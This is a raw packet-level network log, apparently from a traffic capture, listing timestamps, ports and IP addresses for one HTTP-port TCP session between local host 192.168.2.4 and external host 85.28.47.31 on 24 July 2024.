Jul 24, 2024 02:39:00.216059923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.216094017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.216109037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.216133118 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.221466064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.221568108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.221579075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.221615076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.221626997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.221657038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.221678019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.221710920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.221736908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.221745014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.221776962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.221777916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.221791029 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.221821070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.221944094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.221993923 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.222047091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.222098112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.222109079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.222142935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.222156048 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.222176075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.222181082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.222213030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.222218990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.222260952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.222291946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.222326040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.222338915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.222364902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.222451925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.222481012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.222507954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.222515106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.222523928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.222549915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.222558022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.222582102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.222598076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.222621918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.222637892 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.222671032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.222685099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.222714901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.223210096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.223264933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.223299980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.223329067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.223354101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.223371983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.223484039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.223517895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.223546028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.223551989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.223562956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.223586082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.223608971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.223618031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.223633051 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.223656893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.224745035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.224800110 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.224808931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.224842072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.224864960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.224874973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.224884987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.224931002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.225007057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.225039005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.225064993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.225078106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.225084066 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.225106955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.225135088 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.225158930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235014915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235049009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235083103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235086918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235109091 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235146046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235178947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235188007 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235209942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235213041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235224009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235246897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235260010 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235284090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235363960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235397100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235420942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235430956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235435009 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235464096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235471964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235505104 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235567093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235599041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235622883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235631943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235637903 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235660076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235682011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235693932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235699892 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235729933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235836029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235868931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235884905 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235903025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235908985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235937119 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235943079 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.235970020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.235979080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236005068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236011028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236044884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236145020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236193895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236207008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236227989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236232996 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236260891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236269951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236294031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236305952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236329079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236340046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236376047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236529112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236566067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236576080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236598969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236608982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236633062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236639977 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236665964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236670971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236699104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236712933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236732960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236746073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236764908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.236774921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236805916 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.236984968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.237018108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.237040043 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.237050056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.237060070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.237082958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.237090111 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.237116098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.237128019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.237149000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.237160921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.237181902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.237195015 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.237221003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.237225056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.237263918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.237405062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.237438917 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.237466097 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.237473011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.237481117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.237505913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.237518072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.237541914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.237550974 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.237574100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.237585068 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.237628937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.238035917 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.238085032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.238086939 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.238130093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.238163948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.238213062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.238269091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.238301992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.238320112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.238334894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.238343954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.238368988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.238380909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.238405943 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.293035984 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.293103933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.293138027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.293154001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.293171883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.293186903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.293206930 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.293515921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.293515921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.304905891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.304950953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.304969072 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.304985046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.305001020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.305016994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.305051088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.305079937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.305444002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.310108900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.310271025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.310302019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.310321093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.310362101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.310391903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.310426950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.310460091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.310538054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.310614109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.315815926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.315918922 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.315934896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.316040039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.316072941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.316103935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.316117048 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.316135883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.316169024 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.316247940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.316248894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.316248894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.316248894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.316248894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.316615105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.316672087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.316679955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.316730022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.316755056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.316790104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.316804886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.316837072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.316840887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.316874981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.316896915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.316906929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.316915989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.316953897 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.316955090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.316999912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.317018986 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.317050934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.317065954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.317084074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.317094088 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.317116976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.317133904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.317163944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.317260027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.317291975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.317312002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.317323923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.317336082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.317369938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.317751884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.317809105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.317867041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.317902088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.317919016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.317948103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.317955971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.317981958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.317995071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.318027973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.318067074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.318101883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.318121910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.318145037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.319190979 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.319243908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.319256067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.319292068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.319308043 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.319324970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.319334984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.319370985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.319469929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.319500923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.319523096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.319535017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.319545984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.319564104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.319586039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.319611073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.329663992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.329792023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.329807997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.329824924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.329842091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.329844952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.329859018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.329875946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.329885960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.329910040 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.329930067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.329993010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330009937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330027103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330141068 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330147982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330157995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330176115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330184937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330218077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330271959 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330288887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330321074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330334902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330408096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330425024 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330440998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330450058 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330457926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330466986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330476046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330492973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330502033 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330521107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330743074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330769062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330785036 CEST	80	49730	85.28.47.31	192.168.2.4
